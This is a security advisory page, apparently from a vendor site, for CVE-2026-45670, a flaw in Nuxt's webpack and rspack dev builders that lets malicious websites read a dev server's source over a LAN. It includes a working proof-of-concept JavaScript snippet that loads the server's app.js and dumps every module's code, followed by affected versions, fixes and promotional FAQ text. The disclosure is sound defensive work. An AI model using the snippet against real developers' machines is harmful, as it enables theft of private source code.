CVE-2026-45670

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
  const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
  for (const page in window[key]) {
    const moduleList = window[key][page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.

This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.

CVE-2026-45670 has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.21.6, 4.4.6); upgrading removes the vulnerable code path.

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Fixed in [email protected] and [email protected] by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.

The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.

1. What is CVE-2026-45670? CVE-2026-45670 is a medium-severity security vulnerability in @nuxt/rspack-builder (npm), affecting versions >= 3.15.4, <= 3.21.5. It is fixed in 3.21.6, 4.4.6.
2. How severe is CVE-2026-45670? CVE-2026-45670 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-45670?
   • @nuxt/rspack-builder (npm) (versions >= 3.15.4, <= 3.21.5)
   • @nuxt/webpack-builder (npm) (versions >= 3.15.4, <= 3.21.5)
4. Is there a fix for CVE-2026-45670? Yes. CVE-2026-45670 is fixed in 3.21.6, 4.4.6. Upgrade to this version or later.
5. Is CVE-2026-45670 exploitable, and should I be worried? Whether CVE-2026-45670 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45670 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45670?
   • Upgrade @nuxt/rspack-builder to 3.21.6 or later
   • Upgrade @nuxt/rspack-builder to 4.4.6 or later
   • Upgrade @nuxt/webpack-builder to 3.21.6 or later
   • Upgrade @nuxt/webpack-builder to 4.4.6 or later

Other vulnerabilities in @nuxt/rspack-builder